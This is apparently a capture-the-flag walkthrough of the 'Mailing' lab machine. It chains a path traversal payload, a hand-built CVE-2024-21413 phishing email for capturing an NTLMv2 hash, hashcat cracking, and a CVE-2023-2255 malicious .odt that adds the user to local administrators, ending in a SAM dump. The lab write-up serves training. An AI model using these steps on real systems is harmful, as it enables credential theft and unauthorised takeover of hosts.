This is a Windows 10 Pro machine running a mail server (POP3, SMTP and IMAP). We can get mail administrator credentials exploiting a path traversal vulnerability in the web site. To retrieve the user flag we exploit a MonikerLink (CVE-2024-21413) vulnerability in Outlook which allows us to gain a NTLMv2 hash that, once cracked, enables a low-privileged session in the host. Regarding escalation, we exploit a vulnerable version of LibreOffice (CVE-2023-2255) to add ourselves into the local administrators group.
We have disclosed a domain username ruy@mailing.htb. Add to hosts file and inspect the site with Firefox.
Looks like there is a mail server "Powered by hMailServer". Also, we have a list of team members. Since have already disclosed an username we can figure out the pattern used to create the accounts. We will assume the other accounts are maya@mailing.htb and gregory@mailing.htb
Let's try a path traversal in Windows. Using this payload ../../../windows/win.ini the vulnerability is confirmed.
USER
Once the vulnerability has been confirmed, let's imagine ways to exploit it. Normally, path traversal can be exploited to make the application render a local file (this case is called LFI), or to read sensitive files in the file system. We know the host is running hMailServer, so we'll use path traversal to read the configuration file.
Normally, Outlook should block these SMB requests for security reasons since NTLMv2 hashes can be captured, but the insertion of the exclamation mark "!" changes Outlook's behavior.
Let's exploit this by sending a malicious email to maya@mailing.htb. One option is to do it using one of the multiple PoCs linked to this vulnerability in Github (just follow the instructions provided by the exploit creator).
However, since we already have mail server administrator credentials, we will exploit it manually, interacting directly with the server via Telnet/Netcat commands. Here more info on how to interact with an SMTP server from command line: https://www.samlogic.net/articles/smtp-commands-reference.htm
In this case we can use both SMTP or IMAP (secure SMTP) since both ports 25 and 587 are open. In the first option, SMTP (25), information is sent unencrypted, whereas in the second option, IMAP (587), the information is sent encrypted, therefore we need to establish a TLS connection first. The sequence of commands for the SMTP case is the following.
Connect to the server using Netcat.
> nc -nvC $target 25(UNKNOWN) [10.10.11.14] 25 (smtp) open
Now you can send the body of the email, it will have a plain text part and an HTML part, containing the malicious link. I found here how to create HTML emails using SMTP command line: https://mailtrap.io/blog/telnet-send-email/
Remember that to finish the email data and add to queue for sending you need to press "enter" + "." + "enter".
Now start an Impacket SMB server. If everything goes well, in a couple of minutes Maya will click on the email link and we will be able to capture her NTLMv2 hash.
Other option is to use the IMAP protocol, the TLS encrypted version of SMTP. For this, we need to connect to port 587 using the STARTTLS protocols extension and initiate a TLS handshake. We cannot do this with Telnet/Netcat because TLS is binary and involves cryptography, and you cannot do this by hand. Instead, we can use the openssl s_client command.
Start a secure TLS connection to port 587 (the flag -crlf is used to automatically send a "CRLF" character after each line).
And the NTLMv2 hash is received on the SMB server as well.
NTLMv2 hashes cannot be passed, but we can always crack them (module 5600).
> hashcat -m 5600 -a 0 -d 1 hash.txt .\rockyou.txt
Use the credentials to open a WinRM session on the host as user maya
Which can be used to retrieve the user flag.
ROOT
Start from the low-privileged WinRM session an take the opportunity to enumerate the user and the system.
> whoamimailing\maya> net user mayaUser name mayaFull NameCommentUser's commentCountry/region code 000 (System Default)Account active YesAccount expires NeverPassword last set 2024-04-12 4:16:20 AMPassword expires NeverPassword changeable 2024-04-12 4:16:20 AMPassword required YesUser may change password YesWorkstations allowed AllLogon scriptUser profileHome directoryLast logon 2024-09-06 5:40:15 PMLogon hours allowed AllLocal Group Memberships *Remote Management Use*Usuarios *Usuarios de escritoriGlobal Group memberships *NingunoThe command completed successfully.> Get-ComputerInfoWindowsBuildLabEx : 19041.1.amd64fre.vb_release.191206-1406WindowsCurrentVersion : 6.3WindowsEditionId : ProfessionalWindowsInstallationType : ClientWindowsInstallDateFromRegistry : 2/27/2024 3:26:14 PMWindowsProductId : 00330-80112-18556-AA447WindowsProductName : Windows 10 ProWindowsRegisteredOrganization :WindowsRegisteredOwner : localadminWindowsSystemRoot : C:\WindowsWindowsVersion : 2009…TimeZone : (UTC+01:00) Brussels, Copenhagen, Madrid, ParisLogonServer : \\MAILINGPowerPlatformRole : Desktop
Enumerate the installed software.
> cd "c:\program files"*Evil-WinRM* PS C:\program files> dir Directory: C:\program filesMode LastWriteTime Length Name---------------------------d-----2/27/20245:30 PM Common Filesd-----3/3/20244:40 PM dotnetd-----3/3/20244:32 PM Gitd-----4/29/20246:54 PM Internet Explorerd-----3/4/20246:57 PM LibreOfficed-----3/3/20244:06 PM Microsoft Update Health Toolsd-----12/7/201910:14 AM ModifiableWindowsAppsd-----2/27/20244:58 PM MSBuildd-----2/27/20245:30 PM OpenSSL-Win64d-----3/13/20244:49 PM PackageManagementd-----2/27/20244:58 PM Reference Assembliesd-----3/13/20244:48 PM RUXIMd-----2/27/20244:32 PM VMwared-----3/3/20245:13 PM Windows Defenderd-----4/29/20246:54 PM Windows Defender Advanced Threat Protectiond-----3/3/20245:13 PM Windows Maild-----3/3/20245:13 PM Windows Media Playerd-----4/29/20246:54 PM Windows Multimedia Platformd-----2/27/20244:26 PM Windows NTd-----3/3/20245:13 PM Windows Photo Viewerd-----4/29/20246:54 PM Windows Portable Devicesd-----12/7/201910:31 AM Windows Securityd-----3/13/20244:49 PM WindowsPowerShell
Enumerate the installed LibreOffice version.
> type readme_en-us.txt======================================================================LibreOffice 7.4 ReadMe======================================================================
Clone the repository and create a malicious .odt file containing a payload to make user maya administrator.
> python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add'--output 'important.odt'File important.odt has been created !
Transfer the file important.od to folder c:\important documents and wait till someone opens it. When that happens, user mailing\maya is added into administrators group.
> dir Directory: C:\important documentsMode LastWriteTime Length Name---- ------------- ------ -----a---- 9/6/2024 5:57 PM 30526 important.odt> net user mayaUser name mayaFull NameCommentUser's commentCountry/region code 000 (System Default)Account active YesAccount expires NeverPassword last set 2024-04-12 4:16:20 AMPassword expires NeverPassword changeable 2024-04-12 4:16:20 AMPassword required YesUser may change password YesWorkstations allowed AllLogon scriptUser profileHome directoryLast logon 2024-09-06 6:01:00 PMLogon hours allowed AllLocal Group Memberships ***Administradores*** *Remote Management Use *Usuarios *Usuarios de escritoriGlobal Group memberships *NingunoThe command completed successfully.
Now we can dump the SAM file remotely using Maya's credentials.
And open a shell with Impacket for user localadmin
You are root.
NOTE: before closing remove user maya from administrators group to leave the house cleaned.
> net localgroup Administradores maya /deleteSe ha completado el comando correctamente.> net user mayaNombre de usuario mayaNombre completo Comentario Comentario del usuario Cuenta activa S�La cuenta expira NuncaLa contrase�a expira NuncaCambio de contrase�a 12/04/20244:16:20Contrase�a requerida S�El usuario puede cambiar la contrase�a S�Estaciones de trabajo autorizadas TodasScript de inicio de sesi�n Perfil de usuario Directorio principal Ultima sesi�n iniciada 06/09/202418:08:07Horas de inicio de sesi�n autorizadas TodasMiembros del grupo local *Remote Management Use*Usuarios *Usuarios de escritoriMiembros del grupo global *Ninguno Se ha completado el comando correctamente.
